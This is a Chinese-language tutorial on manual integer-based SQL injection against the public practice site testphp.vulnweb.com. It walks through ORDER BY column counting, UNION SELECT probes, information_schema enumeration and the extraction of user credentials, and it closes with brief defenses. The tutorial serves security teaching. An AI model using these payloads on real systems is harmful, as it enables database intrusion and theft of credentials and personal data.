如何使用基于整数的手动SQL注入技术
字数 1220 2025-08-18 11:37:41
基于整数的手动SQL注入技术详解
一、SQL注入基础概念
SQL注入是一种通过在应用程序的输入字段中插入恶意SQL代码来攻击数据库的技术。基于整型的SQL注入特指针对使用整数参数的查询进行注入攻击。
二、环境准备
- 练习环境:使用提供的线上实验室(testphp.vulnweb.com)进行练习
- 目标URL:
testphp.vulnweb.com/artists.php?artist=1
三、漏洞检测步骤
第一步:识别注入点
- 访问目标URL:
testphp.vulnweb.com/artists.php?artist=1 - 在参数后添加单引号测试:
artist=1'- 观察是否返回数据库错误信息
- 如果没有明显错误,可能仍存在注入漏洞
- 移除单引号恢复原始查询
第二步:确定列数
使用ORDER BY子句确定表中的列数:
- 尝试
ORDER BY 4:artist=1 ORDER BY 4--- 如果返回错误,说明列数少于4
- 尝试
ORDER BY 3:artist=1 ORDER BY 3--- 如果没有错误,说明表有3列
- 继续测试直到找到不报错的最大数字
四、信息收集技术
第三步:获取数据库信息
使用UNION SELECT语句获取数据库信息:
- 构造查询:
artist=-1 UNION SELECT 1,database(),version()--database()函数返回当前数据库名version()函数返回数据库版本
- 示例结果:
- 数据库名:acuart
- 版本:5.1.73-0ubuntu0.10.04.1
第四步:枚举数据库表
使用information_schema和GROUP_CONCAT()枚举所有表:
- 构造查询:
artist=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- - 示例结果:carts, categ, featured, guestbook, pictures, products, users
第五步:枚举表结构
获取特定表(如users)的列信息:
- 构造查询:
artist=-1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'-- - 示例结果:uname, pass, cc, address, email, name, phone, cart
五、数据提取技术
第六步:提取敏感数据
从users表中提取用户名和密码:
- 构造查询:
artist=-1 UNION SELECT 1,GROUP_CONCAT(uname,':',pass),3 FROM users-- - 示例结果:test:test
六、高级技巧
- 可以进一步提取其他列数据:
- address, email, name, phone, cart等
- 使用
CONCAT_WS格式化输出:artist=-1 UNION SELECT 1,CONCAT_WS(':',uname,pass,email),3 FROM users--
七、防御措施
虽然本文教授攻击技术,但开发者应了解如何防御:
- 使用参数化查询(预处理语句)
- 实施输入验证
- 最小权限原则
- 错误处理不暴露详细信息
八、注意事项
- 仅用于授权测试
- 实际环境中可能遇到WAF等防护措施
- 不同数据库语法可能有差异
- 练习时使用授权环境
通过以上步骤,可以系统地学习基于整型的手动SQL注入技术。建议在合法授权环境下多加练习,以深入理解其原理和防御方法。